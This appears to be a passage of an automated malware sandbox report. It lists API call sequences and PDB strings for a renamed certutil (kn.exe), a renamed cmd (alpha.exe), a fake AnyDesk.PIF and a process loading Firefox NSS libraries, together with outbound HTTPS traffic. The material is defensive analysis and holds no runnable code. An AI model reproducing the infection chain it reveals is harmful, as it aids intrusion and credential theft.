            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA9BC8 #357,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,GetLastError,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,SysFreeString,#357,#357,strcmp,SysFreeString,#357,SysFreeString,GetLastError,strcmp,LocalFree,LocalFree,CryptDecodeObject,strcmp,strcmp,strcmp,SysFreeString,LocalFree,7_2_00007FF6E3DA9BC8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2BBC0 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,CryptSignHashW,#205,GetLastError,#357,#359,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,7_2_00007FF6E3E2BBC0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D85BA4 #357,NCryptIsKeyHandle,strcmp,GetLastError,strcmp,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#359,LocalAlloc,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,LocalFree,SysFreeString,CertFreeCertificateContext,LocalFree,LocalFree,CryptReleaseContext,7_2_00007FF6E3D85BA4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DABB80 #357,NCryptIsKeyHandle,#357,LocalFree,LocalFree,7_2_00007FF6E3DABB80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4FB94 #357,CryptFindOIDInfo,LocalAlloc,CryptEncryptMessage,GetLastError,LocalFree,#357,7_2_00007FF6E3E4FB94
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85B90 CryptDecodeObjectEx,memmove,7_2_00007FF6E3E85B90
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57B60 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptFindOIDInfo,LocalAlloc,#357,memmove,CryptReleaseContext,7_2_00007FF6E3E57B60
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2FB50 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,#357,CryptExportPublicKeyInfo,GetLastError,GetLastError,#357,#357,CertFindExtension,LocalAlloc,#357,memmove,#357,#357,#357,#357,#357,CAFindCertTypeByName,CAGetCertTypeExtensions,#357,#358,CertFindExtension,#357,LocalAlloc,memmove,memmove,#357,#357,GetLastError,#357,CertFindExtension,#357,GetLastError,#357,CryptSignAndEncodeCertificate,GetLastError,#357,LocalAlloc,CryptSignAndEncodeCertificate,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CAFreeCertTypeExtensions,CACloseCertType,7_2_00007FF6E3E2FB50
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEBB38 #357,CryptVerifyCertificateSignatureEx,GetLastError,#357,memcmp,GetSystemTimeAsFileTime,CompareFileTime,CompareFileTime,CompareFileTime,#357,#358,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DEBB38
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5BB50 NCryptIsKeyHandle,#359,CertCreateCertificateContext,GetLastError,LocalFree,CryptGetKeyParam,GetLastError,#358,LocalAlloc,#357,CryptGetKeyParam,GetLastError,#357,7_2_00007FF6E3E5BB50
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E55B44 CertFindExtension,#357,CryptDecodeObject,GetLastError,7_2_00007FF6E3E55B44
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE3B14 NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,CryptDestroyKey,7_2_00007FF6E3DE3B14
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E19AF8 CertCloseStore,CertCloseStore,CryptMsgClose,LocalFree,LocalFree,NCryptFreeObject,7_2_00007FF6E3E19AF8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85AA8 CryptDecodeObjectEx,7_2_00007FF6E3E85AA8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4FA84 LocalAlloc,#357,memmove,CryptDecrypt,GetLastError,#357,LocalFree,7_2_00007FF6E3E4FA84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E27A70 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,NCryptSecretAgreement,#205,#357,#357,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,NCryptDeriveKey,#205,#359,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E27A70
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E39A58 #357,#357,#210,#357,SetWindowTextW,SetFocus,SendMessageW,SendMessageW,LocalAlloc,#357,#357,LocalFree,UpdateWindow,CoInitialize,LoadCursorW,SetCursor,LoadCursorW,SetCursor,SetFocus,SetWindowTextW,SetFocus,#357,SetFocus,SendMessageW,#357,LocalFree,LocalFree,LocalFree,CryptUIDlgFreeCAContext,CoUninitialize,7_2_00007FF6E3E39A58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB3A40 LocalFree,LocalFree,strcmp,#357,strcmp,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,CryptDecodeObject,strcmp,LocalFree,strcmp,GetLastError,#357,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,#357,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,strcmp,strcmp,strcmp,#357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,LocalFree,strcmp,LocalFree,GetLastError,strcmp,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DB3A40
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3BA50 CryptSignCertificate,SetLastError,7_2_00007FF6E3E3BA50
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E21A44 CryptContextAddRef,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E21A44
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5BA14 NCryptIsKeyHandle,#357,CryptGetProvParam,GetLastError,NCryptFreeObject,7_2_00007FF6E3E5BA14
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B9CC I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,7_2_00007FF6E3E0B9CC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAF9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree,7_2_00007FF6E3DAF9B8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0597C GetLastError,CryptEncodeObjectEx,GetLastError,#357,7_2_00007FF6E3E0597C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB7988 CryptFindOIDInfo,#357,CryptFindOIDInfo,#357,GetLastError,#357,GetLastError,#357,LocalFree,7_2_00007FF6E3DB7988
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E7B980 #357,CryptFindOIDInfo,#359,GetLastError,#357,#359,CryptGetProvParam,memset,CryptGetProvParam,CryptFindOIDInfo,#357,GetLastError,#357,CryptReleaseContext,BCryptFreeBuffer,7_2_00007FF6E3E7B980
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E49970 LocalAlloc,#357,LocalAlloc,CertGetEnhancedKeyUsage,GetLastError,#358,LocalFree,LocalFree,GetLastError,strcmp,#357,CryptFindOIDInfo,LocalFree,7_2_00007FF6E3E49970
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDF944 CryptDecodeObject,GetLastError,#357,7_2_00007FF6E3DDF944
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B950 I_CryptGetLruEntryData,#357,7_2_00007FF6E3E0B950
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB60DA #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,7_2_00007FF6E3DB60DA
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF4070 _wcsnicmp,_wcsnicmp,_wcsnicmp,#357,GetLastError,#359,#357,LocalAlloc,memmove,wcsstr,#223,#357,#359,LocalFree,#359,LocalFree,LocalFree,LocalFree,LocalFree,CryptMemFree,7_2_00007FF6E3DF4070
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4E044 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,LocalAlloc,#359,LocalFree,7_2_00007FF6E3E4E044
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85FF0 CryptDecodeObjectEx,CryptDecodeObjectEx,7_2_00007FF6E3E85FF0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB5FE8 #357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,7_2_00007FF6E3DB5FE8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E25FA8 NCryptIsKeyHandle,wcscmp,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,7_2_00007FF6E3E25FA8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E29F90 memmove,wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,7_2_00007FF6E3E29F90
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBFF64 NCryptGetProperty,#359,NCryptGetProperty,CertEnumCertificatesInStore,CertFindCertificateInStore,CertFreeCertificateContext,CertEnumCertificatesInStore,CertFreeCertificateContext,CertCloseStore,CertCloseStore,#357,7_2_00007FF6E3DBFF64
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF5F54 GetLastError,LocalAlloc,memmove,wcschr,CryptFindOIDInfo,#357,#357,LocalFree,LocalFree,7_2_00007FF6E3DF5F54
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85F20 CryptDecodeObjectEx,7_2_00007FF6E3E85F20
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD7F14 CryptAcquireCertificatePrivateKey,GetLastError,#357,CryptSetProvParam,GetLastError,GetSecurityDescriptorLength,#359,CryptReleaseContext,7_2_00007FF6E3DD7F14
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E15F04 #357,#357,SysAllocStringByteLen,#357,SysFreeString,#357,#359,#357,lstrcmpW,CryptMsgControl,GetLastError,#357,CertFreeCertificateContext,#359,CertFreeCTLContext,LocalFree,SysFreeString,LocalFree,7_2_00007FF6E3E15F04
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57EE8 CryptFindOIDInfo,#357,CryptInitOIDFunctionSet,CryptGetOIDFunctionAddress,GetLastError,GetLastError,GetLastError,#357,strcmp,GetLastError,strcmp,GetLastError,CryptFindOIDInfo,CryptFindOIDInfo,#357,LocalFree,LocalFree,CryptFreeOIDFunctionAddress,LocalFree,LocalFree,7_2_00007FF6E3E57EE8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDDEA4 memset,GetSystemTimeAsFileTime,CryptGenRandom,GetLastError,LocalAlloc,GetLastError,#357,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree,7_2_00007FF6E3DDDEA4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0DEB0 wcscspn,#357,GetFileAttributesW,GetLastError,#359,CertEnumCertificatesInStore,CertGetCRLContextProperty,CryptBinaryToStringW,wcsstr,CertEnumCertificatesInStore,GetLastError,GetLastError,LocalFree,LocalFree,CertCloseStore,CertFreeCertificateContext,7_2_00007FF6E3E0DEB0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4DE70 NCryptIsKeyHandle,#357,CryptExportKey,GetLastError,#358,LocalAlloc,#357,CryptExportKey,GetLastError,LocalFree,7_2_00007FF6E3E4DE70
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85E3C CryptDecodeObjectEx,strcmp,strcmp,strcmp,7_2_00007FF6E3E85E3C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E11E2C CryptAcquireContextW,GetLastError,#357,CryptGenKey,GetLastError,CryptDestroyKey,#357,GetLastError,#357,#357,LocalAlloc,#357,memmove,LocalFree,memset,CryptGenRandom,GetLastError,#357,GetSystemTime,SystemTimeToFileTime,GetLastError,CertCreateCertificateContext,GetLastError,CryptReleaseContext,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3E11E2C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB5DF7 GetLastError,#357,#357,#358,#358,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCRLsInStore,CertEnumCRLsInStore,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,#357,7_2_00007FF6E3DB5DF7
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D91DE8 GetSystemDefaultLangID,wcscspn,LocalFree,LocalFree,CryptEnumOIDInfo,qsort,free,7_2_00007FF6E3D91DE8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB5DA1 #358,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertFreeCTLContext,CertFreeCertificateContext,CertCloseStore,LocalFree,7_2_00007FF6E3DB5DA1
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDDD80 CertFindExtension,CryptDecodeObject,7_2_00007FF6E3DDDD80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E35D80 #357,NCryptIsKeyHandle,GetSecurityDescriptorLength,CryptSetProvParam,GetLastError,LocalFree,#357,7_2_00007FF6E3E35D80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E03D60 #359,GetLastError,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,CryptReleaseContext,7_2_00007FF6E3E03D60
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85D74 CryptDecodeObjectEx,strcmp,strcmp,7_2_00007FF6E3E85D74
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE1D70 #357,LocalAlloc,memmove,#357,CryptSetKeyParam,GetLastError,LocalAlloc,memmove,CryptDecrypt,GetLastError,#357,#357,#358,LocalFree,LocalFree,#357,#357,#357,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DE1D70
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD9D6C #357,#357,#359,LocalAlloc,#357,#357,wcsrchr,LocalAlloc,memmove,CryptFindLocalizedName,wcsrchr,CryptFindLocalizedName,#357,GetLastError,#359,CertOpenStore,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DD9D6C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57D3C #357,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,wcschr,CryptFindOIDInfo,#359,LocalFree,7_2_00007FF6E3E57D3C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5BD3C NCryptIsKeyHandle,#357,#357,CryptSetProvParam,GetLastError,#357,CryptSetProvParam,GetLastError,LocalFree,7_2_00007FF6E3E5BD3C
            Source: unknownHTTPS traffic detected: 170.10.161.45:443 -> 192.168.2.6:49712 version: TLS 1.2
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: ucrtbase.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: cmd.pdb source: alpha.exe, 00000004.00000000.2133193932.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.2138107242.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.2149004501.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.2156167820.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.2158920393.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.2157597191.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.2159593961.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.2161398197.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.2233032576.0000000005080000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000001C.00000000.2395059942.0000000000571000.00000020.00000001.01000000.0000000D.sdmp, alpha.pif, 0000001D.00000002.2398639325.0000000000571000.00000020.00000001.01000000.0000000D.sdmp
            Source: Binary string: easinvoker.pdbGCTL source: AnyDesk.PIF, 0000000A.00000003.2236536934.0000000021880000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2250440235.0000000002ADE000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2159028855.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2247686470.0000000002326000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020961000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2236536934.00000000218A8000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020949000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: vcruntime140.i386.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: vcruntime140.i386.pdbGCTL source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: msvcp140.i386.pdbGCTL source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2433190547.0000000028A70000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: easinvoker.pdb source: AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2250440235.0000000002ADE000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2159028855.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2247686470.0000000002326000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020961000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020949000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: cmd.pdbUGP source: alpha.exe, 00000004.00000000.2133193932.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.2138107242.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.2149004501.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.2156167820.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.2158920393.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.2157597191.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.2159593961.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.2161398197.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.2233032576.0000000005080000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000001C.00000000.2395059942.0000000000571000.00000020.00000001.01000000.0000000D.sdmp, alpha.pif, 0000001D.00000002.2398639325.0000000000571000.00000020.00000001.01000000.0000000D.sdmp
            Source: Binary string: certutil.pdb source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: easinvoker.pdbH source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: msvcp140.i386.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: ucrtbase.pdbUGP source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: certutil.pdbGCTL source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,4_2_00007FF78CF5823C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,4_2_00007FF78CF52978
